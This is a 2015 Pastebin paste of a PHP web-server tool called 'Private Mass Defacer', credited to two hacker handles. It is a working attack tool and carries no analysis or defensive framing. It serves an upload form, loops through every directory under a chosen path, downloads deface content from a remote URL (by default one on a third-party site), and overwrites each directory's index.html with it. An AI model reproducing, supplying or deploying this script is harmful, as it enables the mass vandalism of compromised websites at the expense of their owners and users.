HackMe

Mass Defacer Priv8

Jun 1st, 2015
463
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.30 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  5. <title>Private Mass Defacer</title>
  6. <link rel="SHORTCUT ICON" href="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/61.gif">
  7. <!--
  8. Coded by Mr_AnarShi-T
  9.  
  10. Modified By rEd X
  11. -->
  12. <style type="text/css">
  13. <!--
  14. body { background-image: url(http://media.somewhereinblog.net/images/ondhokarer_rajputra_1348021005_1-background-snow.png); color:#000;}
  15. body *{ margin: 0; padding: 0; font-family:Century Gothic, Comic Sans MS;}
  16. a   { text-decoration:none; color:#336699; }
  17. a:hover { text-decoration: underline; }
  18. body, td{  margin: 0;  padding: 0;  font-size: normal;}
  19. b{ font-weight:bold; }
  20. input,textarea,select {
  21.     color:#336699;
  22.     background-color:#fff;
  23.     font-family:Century Gothic, Arial;
  24.     font-weight: bold;
  25.     border:1px solid #333;
  26.     margin:2px;
  27.     border-radius: 6px;
  28.     -webkit-border-radius: 6px;
  29.     -moz-border-radius: 6px;
  30. }
  31. input.submit,input[type=submit]
  32. {
  33. margin:2px;
  34. background-color:#6d84b4;
  35. border:1px solid #000000;
  36. font-weight:bold;
  37. color:#ffffff
  38. }
  39. .Header {
  40. background: #336699;
  41. text-align:center;
  42. padding:2px; color:
  43. #fff; font-weight:bold;
  44. }
  45. .footer{background:#DDE7F1; font-weight:bold; border-top:1px solid #abc; padding:5px; font-weight:bold; text-align:center;  }
  46. -->
  47. </style>
  48. </head>
  49. <body>
  50. <div class="Header">Mass Defacer</div><br/>
  51. <b>
  52. <form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=post>
  53. Folder :<br/>
  54. <input typ=text name=path size=60 value="<?=getcwd();?>"><br>
  55. File Name :<br/>
  56. <input typ=text name=file size=60 value="index.html"><br>
  57. Deface Page URL : <small>(ex: http://abc.com/red-x.txt)</small><br/>
  58. <input typ=text name=url size=60 value="http://alvaroborges.com.br/dir/red-x.txt"><br>
  59. <input type=submit value=Deface>
  60. </form>
  61. <?php
  62. $mainpath=$_POST[path];
  63. $file=$_POST[file];
  64. $indexurl=$_POST[url];
  65. echo "<br>";
  66. $dir=opendir("$mainpath");
  67. while($row=readdir($dir))
  68. {
  69. $start=@fopen("$row/$file","w+");
  70. $code=@file_get_contents($indexurl);
  71. $finish=@fwrite($start,$code);
  72. if ($finish)
  73. {
  74. echo "&#187; $row/$file  &#187; Done<br><br>";
  75. }
  76. }
  77. ?>
  78. <div class="footer">Original Coder: <font color="#FF0000">AnarSher</font> || Modified By <font color="#FF0000">rEd X aka Outrageous Demon</font></div>
  79. </body>
  80. </html>
Add Comment
Please, Sign In to add comment